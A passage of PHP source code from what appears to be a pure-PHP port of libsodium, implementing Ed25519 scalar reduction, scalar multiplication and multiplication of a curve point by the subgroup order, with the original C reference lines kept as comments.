<< 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) (0xff & ($s0 >> 0)), (int) (0xff & ($s0 >> 8)), (int) (0xff & (($s0 >> 16) | $s1 << 5)), (int) (0xff & ($s1 >> 3)), (int) (0xff & ($s1 >> 11)), (int) (0xff & (($s1 >> 19) | $s2 << 2)), (int) (0xff & ($s2 >> 6)), (int) (0xff & (($s2 >> 14) | $s3 << 7)), (int) (0xff & ($s3 >> 1)), (int) (0xff & ($s3 >> 9)), (int) (0xff & (($s3 >> 17) | $s4 << 4)), (int) (0xff & ($s4 >> 4)), (int) (0xff & ($s4 >> 12)), (int) (0xff & (($s4 >> 20) | $s5 << 1)), (int) (0xff & ($s5 >> 7)), (int) (0xff & (($s5 >> 15) | $s6 << 6)), (int) (0xff & ($s6 >> 2)), (int) (0xff & ($s6 >> 10)), (int) (0xff & (($s6 >> 18) | $s7 << 3)), (int) (0xff & ($s7 >> 5)), (int) (0xff & ($s7 >> 13)), (int) (0xff & ($s8 >> 0)), (int) (0xff & ($s8 >> 8)), (int) (0xff & (($s8 >> 16) | $s9 << 5)), (int) (0xff & ($s9 >> 3)), (int) (0xff & ($s9 >> 11)), (int) (0xff & (($s9 >> 19) | $s10 << 2)), (int) (0xff & ($s10 >> 6)), (int) (0xff & (($s10 >> 14) | $s11 << 7)), (int) (0xff & ($s11 >> 1)), (int) (0xff & ($s11 >> 9)), 0xff & ($s11 >> 17) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws TypeError */ public static function sc_reduce($s) { $s0 = 2097151 & self::load_3(self::substr($s, 0, 3)); $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5); $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2); $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7); $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4); $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1); $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6); $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3); $s8 = 2097151 & self::load_3(self::substr($s, 21, 3)); $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5); $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2); $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7); $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4); $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1); $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6); $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3); $s16 = 2097151 & self::load_3(self::substr($s, 42, 3)); $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5); $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2); $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7); $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4); $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1); $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6); $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3); $s11 += self::mul($s23, 666643, 20); $s12 += self::mul($s23, 470296, 19); $s13 += self::mul($s23, 654183, 20); $s14 -= self::mul($s23, 997805, 20); $s15 += self::mul($s23, 136657, 18); $s16 -= self::mul($s23, 683901, 20); $s10 += self::mul($s22, 666643, 20); $s11 += self::mul($s22, 470296, 19); $s12 += self::mul($s22, 654183, 20); $s13 -= self::mul($s22, 997805, 20); $s14 += self::mul($s22, 136657, 18); $s15 -= self::mul($s22, 683901, 20); $s9 += self::mul($s21, 666643, 20); $s10 += self::mul($s21, 470296, 19); $s11 += self::mul($s21, 654183, 20); $s12 -= self::mul($s21, 997805, 20); $s13 += self::mul($s21, 136657, 18); $s14 -= self::mul($s21, 683901, 20); $s8 += self::mul($s20, 666643, 20); $s9 += self::mul($s20, 470296, 19); $s10 += self::mul($s20, 654183, 20); $s11 -= self::mul($s20, 997805, 20); $s12 += self::mul($s20, 136657, 18); $s13 -= self::mul($s20, 683901, 20); $s7 += self::mul($s19, 666643, 20); $s8 += self::mul($s19, 470296, 19); $s9 += self::mul($s19, 654183, 20); $s10 -= self::mul($s19, 997805, 20); $s11 += self::mul($s19, 136657, 18); $s12 -= self::mul($s19, 683901, 20); $s6 += self::mul($s18, 666643, 20); $s7 += self::mul($s18, 470296, 19); $s8 += self::mul($s18, 654183, 20); $s9 -= self::mul($s18, 997805, 20); $s10 += self::mul($s18, 136657, 18); $s11 -= self::mul($s18, 683901, 20); $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry12 = ($s12 + (1 << 20)) >> 21; $s13 += $carry12; $s12 -= $carry12 << 21; $carry14 = ($s14 + (1 << 20)) >> 21; $s15 += $carry14; $s14 -= $carry14 << 21; $carry16 = ($s16 + (1 << 20)) >> 21; $s17 += $carry16; $s16 -= $carry16 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $carry13 = ($s13 + (1 << 20)) >> 21; $s14 += $carry13; $s13 -= $carry13 << 21; $carry15 = ($s15 + (1 << 20)) >> 21; $s16 += $carry15; $s15 -= $carry15 << 21; $s5 += self::mul($s17, 666643, 20); $s6 += self::mul($s17, 470296, 19); $s7 += self::mul($s17, 654183, 20); $s8 -= self::mul($s17, 997805, 20); $s9 += self::mul($s17, 136657, 18); $s10 -= self::mul($s17, 683901, 20); $s4 += self::mul($s16, 666643, 20); $s5 += self::mul($s16, 470296, 19); $s6 += self::mul($s16, 654183, 20); $s7 -= self::mul($s16, 997805, 20); $s8 += self::mul($s16, 136657, 18); $s9 -= self::mul($s16, 683901, 20); $s3 += self::mul($s15, 666643, 20); $s4 += self::mul($s15, 470296, 19); $s5 += self::mul($s15, 654183, 20); $s6 -= self::mul($s15, 997805, 20); $s7 += self::mul($s15, 136657, 18); $s8 -= self::mul($s15, 683901, 20); $s2 += self::mul($s14, 666643, 20); $s3 += self::mul($s14, 470296, 19); $s4 += self::mul($s14, 654183, 20); $s5 -= self::mul($s14, 997805, 20); $s6 += self::mul($s14, 136657, 18); $s7 -= self::mul($s14, 683901, 20); $s1 += self::mul($s13, 666643, 20); $s2 += self::mul($s13, 470296, 19); $s3 += self::mul($s13, 654183, 20); $s4 -= self::mul($s13, 997805, 20); $s5 += self::mul($s13, 136657, 18); $s6 -= self::mul($s13, 683901, 20); $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = ($s0 + (1 << 20)) >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry2 = ($s2 + (1 << 20)) >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry4 = ($s4 + (1 << 20)) >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry6 = ($s6 + (1 << 20)) >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry8 = ($s8 + (1 << 20)) >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry10 = ($s10 + (1 << 20)) >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry1 = ($s1 + (1 << 20)) >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry3 = ($s3 + (1 << 20)) >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry5 = ($s5 + (1 << 20)) >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry7 = ($s7 + (1 << 20)) >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry9 = ($s9 + (1 << 20)) >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry11 = ($s11 + (1 << 20)) >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $s12 = 0; $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; $carry11 = $s11 >> 21; $s12 += $carry11; $s11 -= $carry11 << 21; $s0 += self::mul($s12, 666643, 20); $s1 += self::mul($s12, 470296, 19); $s2 += self::mul($s12, 654183, 20); $s3 -= self::mul($s12, 997805, 20); $s4 += self::mul($s12, 136657, 18); $s5 -= self::mul($s12, 683901, 20); $carry0 = $s0 >> 21; $s1 += $carry0; $s0 -= $carry0 << 21; $carry1 = $s1 >> 21; $s2 += $carry1; $s1 -= $carry1 << 21; $carry2 = $s2 >> 21; $s3 += $carry2; $s2 -= $carry2 << 21; $carry3 = $s3 >> 21; $s4 += $carry3; $s3 -= $carry3 << 21; $carry4 = $s4 >> 21; $s5 += $carry4; $s4 -= $carry4 << 21; $carry5 = $s5 >> 21; $s6 += $carry5; $s5 -= $carry5 << 21; $carry6 = $s6 >> 21; $s7 += $carry6; $s6 -= $carry6 << 21; $carry7 = $s7 >> 21; $s8 += $carry7; $s7 -= $carry7 << 21; $carry8 = $s8 >> 21; $s9 += $carry8; $s8 -= $carry8 << 21; $carry9 = $s9 >> 21; $s10 += $carry9; $s9 -= $carry9 << 21; $carry10 = $s10 >> 21; $s11 += $carry10; $s10 -= $carry10 << 21; /** * @var array */ $arr = array( (int) ($s0 >> 0), (int) ($s0 >> 8), (int) (($s0 >> 16) | $s1 << 5), (int) ($s1 >> 3), (int) ($s1 >> 11), (int) (($s1 >> 19) | $s2 << 2), (int) ($s2 >> 6), (int) (($s2 >> 14) | $s3 << 7), (int) ($s3 >> 1), (int) ($s3 >> 9), (int) (($s3 >> 17) | $s4 << 4), (int) ($s4 >> 4), (int) ($s4 >> 12), (int) (($s4 >> 20) | $s5 << 1), (int) ($s5 >> 7), (int) (($s5 >> 15) | $s6 << 6), (int) ($s6 >> 2), (int) ($s6 >> 10), (int) (($s6 >> 18) | $s7 << 3), (int) ($s7 >> 5), (int) ($s7 >> 13), (int) ($s8 >> 0), (int) ($s8 >> 8), (int) (($s8 >> 16) | $s9 << 5), (int) ($s9 >> 3), (int) ($s9 >> 11), (int) (($s9 >> 19) | $s10 << 2), (int) ($s10 >> 6), (int) (($s10 >> 14) | $s11 << 7), (int) ($s11 >> 1), (int) ($s11 >> 9), (int) $s11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 ); /** @var array $Ai size 8 */ $Ai = array(); # ge_p3_to_cached(&Ai[0], A); $Ai[0] = self::ge_p3_to_cached($A); # ge_p3_dbl(&t, A); $t = self::ge_p3_dbl($A); # ge_p1p1_to_p3(&A2, &t); $A2 = self::ge_p1p1_to_p3($t); for ($i = 1; $i < 8; ++$i) { # ge_add(&t, &A2, &Ai[0]); $t = self::ge_add($A2, $Ai[$i - 1]); # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_p3_to_cached(&Ai[i], &u); $Ai[$i] = self::ge_p3_to_cached($u); } $r = self::ge_p3_0(); for ($i = 252; $i >= 0; --$i) { $t = self::ge_p3_dbl($r); if ($aslide[$i] > 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_add(&t, &u, &Ai[aslide[i] / 2]); $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]); } elseif ($aslide[$i] < 0) { # ge_p1p1_to_p3(&u, &t); $u = self::ge_p1p1_to_p3($t); # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]); $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]); } } # ge_p1p1_to_p3(r, &t); return self::ge_p1p1_to_p3($t); } /** * @param string $a * @param string $b * @return string */ public static function sc25519_mul($a, $b) { // int64_t a0 = 2097151 & load_3(a); // int64_t a1 = 2097151 & (load_4(a + 2) >> 5); // int64_t a2 = 2097151 & (load_3(a + 5) >> 2); // int64_t a3 = 2097151 & (load_4(a + 7) >> 7); // int64_t a4 = 2097151 & (load_4(a + 10) >> 4); // int64_t a5 = 2097151 & (load_3(a + 13) >> 1); // int64_t a6 = 2097151 & (load_4(a + 15) >> 6); // int64_t a7 = 2097151 & (load_3(a + 18) >> 3); // int64_t a8 = 2097151 & load_3(a + 21); // int64_t a9 = 2097151 & (load_4(a + 23) >> 5); // int64_t a10 = 2097151 & (load_3(a + 26) >> 2); // int64_t a11 = (load_4(a + 28) >> 7); $a0 = 2097151 & self::load_3(self::substr($a, 0, 3)); $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5); $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2); $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7); $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4); $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1); $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6); $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3); $a8 = 2097151 & self::load_3(self::substr($a, 21, 3)); $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5); $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2); $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7); // int64_t b0 = 2097151 & load_3(b); // int64_t b1 = 2097151 & (load_4(b + 2) >> 5); // int64_t b2 = 2097151 & (load_3(b + 5) >> 2); // int64_t b3 = 2097151 & (load_4(b + 7) >> 7); // int64_t b4 = 2097151 & (load_4(b + 10) >> 4); // int64_t b5 = 2097151 & (load_3(b + 13) >> 1); // int64_t b6 = 2097151 & (load_4(b + 15) >> 6); // int64_t b7 = 2097151 & (load_3(b + 18) >> 3); // int64_t b8 = 2097151 & load_3(b + 21); // int64_t b9 = 2097151 & (load_4(b + 23) >> 5); // int64_t b10 = 2097151 & (load_3(b + 26) >> 2); // int64_t b11 = (load_4(b + 28) >> 7); $b0 = 2097151 & self::load_3(self::substr($b, 0, 3)); $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5); $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2); $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7); $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4); $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1); $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6); $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3); $b8 = 2097151 & self::load_3(self::substr($b, 21, 3)); $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5); $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2); $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7); // s0 = a0 * b0; // s1 = a0 * b1 + a1 * b0; // s2 = a0 * b2 + a1 * b1 + a2 * b0; // s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0; // s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0; // s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0; // s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0; // s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 + // a6 * b1 + a7 * b0; // s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 + // a6 * b2 + a7 * b1 + a8 * b0; // s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 + // a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0; // s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 + // a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0; // s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 + // a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0; // s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 + // a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1; // s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 + // a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2; // s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 + // a9 * b5 + a10 * b4 + a11 * b3; // s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 + // a10 * b5 + a11 * b4; // s16 = // a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5; // s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6; // s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7; // s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8; // s20 = a9 * b11 + a10 * b10 + a11 * b9; // s21 = a10 * b11 + a11 * b10; // s22 = a11 * b11; // s23 = 0; $s0 = self::mul($a0, $b0, 22); $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22); $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22); $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22); $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) + self::mul($a4, $b0, 22); $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) + self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22); $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) + self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22); $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) + self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22); $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) + self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) + self::mul($a8, $b0, 22); $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) + self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) + self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22); $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) + self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) + self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22); $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) + self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) + self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22); $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) + self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) + self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22); $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) + self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) + self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22); $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) + self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) + self::mul($a11, $b3, 22); $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) + self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22); $s16 = self::mul($a5, $b11, 22) + self::mul($a6, 